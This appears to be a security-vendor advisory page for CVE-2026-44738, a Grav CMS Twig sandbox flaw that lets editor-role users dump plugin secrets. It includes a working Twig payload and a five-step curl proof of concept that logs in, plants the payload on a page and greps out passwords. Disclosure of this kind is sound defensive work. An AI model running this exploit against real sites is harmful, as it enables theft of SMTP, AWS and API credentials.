Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-44738 — grav

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-200 NVD
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Grav: Twig sandbox allows editor-role users to exfiltrate all plugin secrets via Config::toArray()

Summary

The Twig sandbox allow-list permits any user with the admin.pages role to call config.toArray() from within a page body, dumping the entire merged site configuration — including all plugin secrets (SMTP passwords, AWS keys, OAuth client secrets, API tokens) — into the rendered HTML. No administrator privileges are required.

Details

The Twig sandbox allow-list in system/config/security.yaml explicitly permits Config::toArray() for the Grav\Common\Config\Config class:

```yaml

  • class: 'Grav\Common\Config\Config'

methods: 'get, toarray, value, default, offsetget, offsetexists'

```

The config object — which holds the full merged configuration tree including every key under plugins.* — is injected into every sandboxed render in system/src/Grav/Common/Twig/Twig.php (line 292):

```php

$twig_vars = [..., 'config' => $config, ...]

```

Any editor with admin.pages can save a page with process.twig: true in the frontmatter and the following payload in the body:

```

{{ config.toArray()|json_encode|raw }}

```

When the page is rendered, the full config tree is dumped as JSON in the HTML, including all plugin secrets stored under user/config/plugins/*.yaml.

PoC

```bash

# Step 1 — Get login nonce

NONCE=$(curl -sc /tmp/cookies.txt http://TARGET/admin \

| grep -oP '(?<=name="login-nonce" value=")[^"]+')

# Step 2 — Login as editor (no admin.super)

curl -sc /tmp/cookies.txt -b /tmp/cookies.txt \

-X POST http://TARGET/admin \

--data-urlencode "data[username]=EDITOR_USER" \

--data-urlencode "data[password]=EDITOR_PASS" \

--data-urlencode "task=login" \

--data-urlencode "login-nonce=${NONCE}" -o /dev/null

# Step 3 — Get admin nonce

ADMIN_NONCE=$(curl -s -b /tmp/cookies.txt http://TARGET/admin/pages \

| grep -oP '(?<=admin-nonce" value=")[^"]+' | head -1)

# Step 4 — Save page with process.twig:true and payload

curl -s -b /tmp/cookies.txt \

-X POST http://TARGET/admin/pages/poc \

--data-urlencode "admin-nonce=${ADMIN_NONCE}" \

--data-urlencode "task=save" \

--data-urlencode "data[frontmatter]=title: poc

process:

twig: true

published: true" \

--data-urlencode "data[content]={{ config.toArray()|json_encode|raw }}" \

--data-urlencode "data[folder]=poc" \

--data-urlencode "data[route]=/" \

--data-urlencode "data[name]=default" -o /dev/null

# Step 5 — Retrieve secrets from rendered page

curl -s http://TARGET/poc | grep -o '"password":"[^"]*"'

```

Impact

Any user with the editor role (admin.pages) can exfiltrate all plugin credentials stored in the site configuration without any administrator privileges. Affected secrets include SMTP passwords, AWS access/secret keys, OAuth client secrets, reCAPTCHA keys, and any API token stored in plugin YAML config. Each extracted credential independently compromises the connected service.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity none, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Changed — a successful attack reaches components beyond the vulnerable one.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: None.
  • Availability impact: None.

Weakness class

CVE-2026-44738 is classified as CWE-200: Exposure of Sensitive Information. Information that should stay internal is disclosed to someone who is not authorised to see it.

Affected software

CVE-2026-44738 is recorded against 2 packages.

  • getgrav/grav (fixed in 2.0.0-rc.2)
  • grav

Timeline and source

Published on 13 May 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)
github.com (Web)

Other advisories for this package

getgrav/grav has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-200: Exposure of Sensitive Information) in other software:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
CWE CWE-200
Public Exploit ✅ No
Source NVD
Published 2026-05-13
Updated 2026-08-20
Modified 2026-05-13
Fix URL N/A

Affected Packages

Software From version Fixed in
getgrav/grav 2.0.0-rc.2
grav

Similar Threats

Site Security Check

Is grav part of your stack?

CVE-2026-44738 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026